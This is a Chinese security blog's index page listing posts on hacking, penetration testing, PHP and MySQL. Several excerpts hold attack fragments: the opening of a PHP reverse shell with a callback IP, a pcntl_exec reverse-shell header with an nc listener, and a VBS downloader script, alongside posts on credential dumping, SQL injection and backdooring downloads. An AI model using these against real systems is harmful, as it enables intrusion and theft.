serverxx0的博客_网络监控,安全,黑客攻防,病毒木马,Web Application,python,Web Security

Zabbix 2.2.x / 2.4.x/ 3.0.0-3.0.3 - SQL Injection

漏洞来源: http://seclists.org/fulldisclosure/2016/Aug/60攻击成本：低危害程度：高利用条件: 需要guest用户权限(未登录用户都被设定为guest用户的访问权限)影响范围：2.2.x / 2.4.x/ 3.0.0-3.0.3修复建议: 禁用guest用户或者升级到3.0.4漏洞利用: 爆密码 &

zabbix

注入漏洞

原创精选 2016-08-18 14:25:52 2042 阅读 1收藏

内网主机存活扫描[Android]

NetXFing – Network Tools功能:显示每个设备的 IP 地址、Mac 地址、制造商、Bonjour 名等等，支持网络唤醒、关机等操作区别:两者无太大区别,非要说区别NetX的颜值高点。

网络

主机

Network

Android

制造商

转载精选 2016-03-07 10:25:00 1941 阅读 1收藏

恶意软件流量检测系统

maltrail是一个通过流量监测出恶意软件的程序，通过公开的含有恶意软件的黑名单，通过对用户的网络访问请求进行分析，判断其使用访问了恶意软件的服务器地址，下载链接，可疑域名，可疑文件名来判断是否遭受了恶意软件的感染。https://github.com/stamparm/maltrail

软件

服务器

黑名单

流量检测

下载链接

转载精选 2016-01-12 23:18:55 3078 阅读

Cuckoo恶意软件自动化分析系统

Cuckoo是一款开源的自动化恶意软件分析系统，目前主要用于分析windows平台下的恶意软件，但其框架同时支持Linux和Mac OS。cuckoo能够自动化获取如下信息：1.能够跟踪恶意软件进程及其产生的所有进程的win32 API调用记录；2.能够检测恶意软件的文件创建、删除和下载；3.能够获取恶意软件进程的内存镜像；4.能够获取系统全部内存镜像，方便其他工具进行进一步分析；5.能够以pac

windows

Office

python

压缩文件

执行文件

转载精选 2016-01-12 23:14:46 1982 阅读

php-reverse-shell

window、linux通用 <?php error_reporting (E_ERROR); ignore_user_abort(true); ini_set('max_execution_time',0); $os = substr(PHP_OS,0,3); $ipaddr = '192.168.182.128';

linux

window

通用

转载精选 2016-01-10 15:51:33 2278 阅读 1点赞 1评论

员工安全意识导致入侵

攻击手法:在我们做渗透的过程中，往往通过员工能搞定很多的企业，拿到核心的数据库，最常见的如以下几种情况。 1.密码一条龙由于很多的互联网数据库被黑客入侵，在互联网或地下圈子流传，通过信息查询到某个公司员工邮箱，电话，姓名等可以从社工库查询到已使用的密码，而所有网站及公司系统使用的账户都同属于一个密

互联网

个人电脑

百度文库

一条龙

原创精选 2015-12-16 20:54:34 1481 阅读

我劫持你的dns

这篇文章把Dns分为两种，一种是主机或嵌入式设备dns，一种是网站域名dns，来讲述dns沦陷之后带来的危害。一：路由器dns劫持你本地的网络连接的dns是通过路由器获取的，假如有一天你家里的路由被黑客入侵了，入侵者修改了你家里路由器的dns,那么他可以对你访问记录非常清楚，如系在文件，流量记录。既然解析都通过dns，我们完全可以自建dns，来进

路由器

嵌入式

网络连接

chrome

原创推荐 2015-12-16 20:37:02 10000+阅读 4点赞 2收藏 1评论

不重启修改计算机名【批处理】

具体用途: 安全狗防护里面有个远程桌面防护，只允许指定的计算机名登陆。@ ECHO OFF color 0A ECHO ---------------------------------------------------------------------------- ECHO. ECHO&nbs

windows

计算机

版权

color

copyright

转载精选 2015-08-26 09:16:07 1711 阅读

phantomjs

PhantomJS 是一个基于 WebKit 的服务器端 JavaScript API。它全面支持web而不需浏览器支持，其快速，原生支持各种Web标准： DOM处理, CSS 选择器, JSON, Canvas, 和 SVG。 PhantomJS 可以用于页面自动化，网络监测，网页截屏，以及无界面测试等。

网络

浏览器

网页

服务器

转载精选 2015-08-25 16:57:45 666 阅读

PHP配置指令作用域说明（PHP_INI_PERDIR、PHP_INI_SYSTEM、PHP_INI_USER、PHP_INI_ALL）

PHP总共有4个配置指令作用域：（PHP中的每个指令都有自己的作用域，指令只能在其作用域中修改，不是任何地方都能修改配置指令的）PHP_INI_PERDIR：指令可以在php.ini、httpd.conf或.htaccess文件中修改PHP_INI_SYSTEM：指令可以在php.ini 和 httpd.conf 文件中修改PHP_INI_USER：指令可以在用户脚本中修改PHP_INI_ALL：

php作用域

转载精选 2015-08-25 14:30:08 1587 阅读

CredCrack(快速从目标系统内存中获取用户凭证)

CredCrack这款工具使用python语言开发,这个快速便捷的工具可以帮助研究人员直接从目标系统内存中获取用户凭证,说的清楚一点,就是它可以将目标网络的网络管理员账号直接显示给你。CredCrack的工作机制如果你要使用CredCrack,首先要做的就是配置环境。它会自动启用apache服务,并在你主机的/var/www目录中部署两个文件。其中一个文件为fun.ps1,另一个文件为creds.

用户

转载精选 2015-08-24 11:05:35 1227 阅读

端口扫描-调用NC扫描

import threading,os,time def ncDetect(IP): command = "nc -v -z " + IP +" 21-9000 2>&1| grep succeed

command

target

import

转载精选 2015-06-22 21:24:14 1565 阅读

NTDS.dit hash提取工具

NTDS.dit hash提取工具为保证不修改quarkspwdump版权信息，没有quarkspwdump修改其他功能的使用,其他原有的功能都可以正常使用,只添加了几个自己添加的参数。NTDS.dit是个什么鬼呢？在域内，HASH是存在NTDS.DIT中的， NTDS.DIT是一个二进制文件，就等同于本地计算机的SAM文件，

文章

二进制

原创精选 2015-06-22 15:10:44 3694 阅读

JSON Content-Type XXE攻击

条件: 后端代码是否能解析xml 服务端接收JSON数据请求，将json转换为xml访问，同时修改content-type为xml。Referer: https://blog.netspi.com/playing-content-type-xxe-json-endpoints/ http://www.secpulse.com/archives/6256.ht

服务端

转载精选 2015-05-05 10:57:18 4722 阅读

arp(中间人攻击)-为pe文件注入后门

此篇中主要讲述如何在目标下载exe及zip文件的时候在zip文件及exe程序当中插入我们的后门代码。这样，只要目标运行了下载的程序就能顺利将木马植入目标主机。（一）用到的工具: 系统:kali 2.ettercap 3.BDFProxy

如何

中间人

转载精选 2015-04-27 09:42:30 2113 阅读

利用doc文件实现xxe

首先这是一个正常的文档当将这一个doc文档改成zip，再解压后就会发现doc文档就是一堆xml文件组成的在word文件夹里打开document.xml 可以发现doc里的内容都在<w:t></w:t>里构造实体，并在<w:t></w:t>里引用实体来实现xxe实体定义：<!DOCTYPE document [<

文件夹

邮箱

转载精选 2015-04-09 17:39:35 3247 阅读

https单向/双向认证

单向认证，就是传输的数据加密过了，但是不会校验客户端的来源双向认证，如果客户端浏览器没有导入客户端证书，是访问不了web系统的，找不到地址如果只是加密，我感觉单向就行了。如果想要用系统的人没有证书就访问不了系统的话，就采用双向 http://xiaohuafyle.iteye.com/blog/1538719

浏览器

客户端

证书

认证

数据加密

转载精选 2015-04-03 08:46:39 1126 阅读

Linux/Windows边界穿透神器---reprocks (反弹代理)

在渗透过程中，总是会碰到如下的问题：我拿下了一台Windows/Linux,但是处于内网，又不能提权，我的目标是内网中的其他机器，此时怎么办？当然对于windows,有htran这个神器，我的设想主要是对于Linux，因为有很大集群内部网络的机构，我碰到的大多数都是Linux处于边界。传统的lcx用C写，网上已公开源代码，有端口反连的功能，参数是(-slave)，通过该程序

Windows

源代码

数据采集

代理服务

转载精选 2015-03-31 18:17:35 2907 阅读

chpasswd: 非交互模式批量修改密码

命令：chpasswd批量修改用户密码工作原理：从系统的标准输入读入用户的名称和口令，并利用这些信息来更新系统上已存在的用户的口令语法：1：# echo 用户名:密码 | chpasswd2：# chpasswd < doiido.txt参数：-e ：如果使用了-e选项，口令将只能以加密的方式传递如果未使用-e选项，口令将按明文的形式传递注意事项1：用户名必须是系统上已存在的用户2：普通用户

加密

用户名

工作原理

信息

修改密码

转载精选 2015-03-18 15:55:33 1577 阅读

区域网存活扫描-arp扫描(c++)

自动计算当前局域网IP段多线程扫描输出每个存活主机的IP和MAC地址，以及存活的总数(不带网卡厂商信息)缺点:自动获取区域网IP段不可控IP 比如我扩大子网范围遇到双网卡的情况下默认只扫描一个 ///////////////////////////////////////// //自动扫描局域网存活主机 //优点：不用输入ip //缺点：如果遇到主机多IP只能扫描其中一个 /////

局域网

ip地址

include

多线程

comment

转载精选 2015-03-11 01:25:24 5022 阅读 1收藏

php的引用变量与销毁机制

在php中，符号"&"表示引用。1、看看不引用的情况是这样子：$a = "hello world";//定义一个变量，下面赋值给$b$b = $a;//这一步没有在$a之前加符号&，像这样子"$b= & $a"。没有加&，实际上原理是会将变量$a复制拷贝一份，也就是内存中重新申请一个地址存储变量$b了 ps：在php中，使用"="直接赋值，其实

空间

hello

world

转载精选 2015-02-06 09:55:10 722 阅读

FCKeditor2.4.3在PHP中的配置

http://blog.sina.com.cn/s/blog_4cd0d69d01000blo.html 网上关于FCKeditor配置的文章有很多，但大都雷同，且对FCKeditor的最新版本介绍的少之又少，最近研究了下FCKeditor的配置，并根据自己的实际把经验总接记录如下：一、把FCKeditor

文章

配置文件

office2003

admin

根目录

转载精选 2015-01-29 15:03:02 941 阅读

密码分析工具 – Pipal

点我下载在很多情况下，我们需要进行各种各样的分析工作，这里为大家介绍一款密码分析工具——Pipal。Pipal是一款密码分析工具，功能主要是进行密码合集文件分析。说白了，就是对拿到的裤子中的密码进行特征分析，找出其中的“各种最”，你没看错，这个东西功能就是这么简单。。不过，工具的分析的速度还是很快的，同时也会从各个方面给出相应的分析结果。工具是作者为了满足自己和朋友的需要写的，现在被挂在了Git上

密码

朋友

搬运

运行环境

转载精选 2014-12-02 17:22:17 1505 阅读

php-pcntl_exec反弹脚本

via:https://www.t00ls.net/viewthread.php?tid=28086 <?php /******************************* *查看phpinfo编译参数--enable-pcntl *作者 Spider *nc -vvlp 443 **************

php 反弹

转载精选 2014-11-20 14:14:25 3549 阅读

使用metasploit收集邮箱

作者:影子牛转载开始。发现这个还是蛮有用处的，如果感到蛋疼你就拍拍手，至于收集到邮箱之后做什么用途，各位就可以自己随意发挥了[root@sms framework3]# ./msfconsole888 888 &nbs

邮箱

做什么

拍拍手

转载精选 2014-04-24 11:02:12 1408 阅读

渗透常用vbs脚本

1.文件下载(无回显) echo iLocal = LCase(Wwww.Arguments(1)) >iget.vbe echo iRemote = LCase(Wwww.Arguments(0)) >>iget.vbe echo Set xPost = CreateObject("Microsoft.XMLHTTP") >>iget.vbe echo xPost.

文件下载

转载精选 2013-08-10 23:51:34 1147 阅读

Linux系统加固：修改用户口令时效机制

修改用户口令时效机制修改用户口令有效机制可有效的防止用户离开工作岗位一段时间后，其账户自动失效，就算管理员忘记删除该账户，该账户也不会给系统带来危害。1、/etc/login.defs“/etc/login.defs”文件是当创建一个用户时的一些规划，比如创建用户时，是否需要家目录，UID和GID的范围以及用户的期限等等，这个文件是可以通过root来定义的。可通过“vim /etc/login.d

管理员

关键字

default

有效期

更改密码

转载精选 2013-07-28 18:31:42 1519 阅读

SIM卡ICCID的含义

SIM卡背面的20位数字（ICCID）所代表的含义如下：前6位：898600中国移动；898601中国联通第7位：业务接入号，对应于134、135、136、137、138、139中的4、5、6、7、8、9；第8位：SIM卡的功能位：一般为0,现在的预付费SIM卡为1；第9、10位：各省的编码；第11、12位：年号；第13位：供应商代码；第14—19位：用户识别码；第20位：校验位。中国移动：如8

中国移动

中国联通

黑龙江

内蒙古

转载精选 2013-07-24 12:41:17 7801 阅读

mysql_query("set names ****")设置客户端字符集

<?php$conn=mysql_connect("localhost","root","123456");mysql_select_db("db_bcty365",$conn);mysql_query("set names gb2312");?>其中：SET NAMES ‘x‘语句与这

服务器

server

数据库

database

数据表

转载精选 2013-07-15 13:06:53 762 阅读

修改及查看mysql数据库的字符集

Liunx下修改MySQL字符集：1.查找MySQL的cnf文件的位置find / -iname '*.cnf' -print/usr/share/mysql/my-innodb-heavy-4G.cnf/usr/share/mysql/my-large.cnf/usr/share/mysql/my-small.cnf/usr/share/mysql/my-medium.cnf/u

mysql

数据库

转载精选 2013-07-15 00:18:38 624 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

Sanr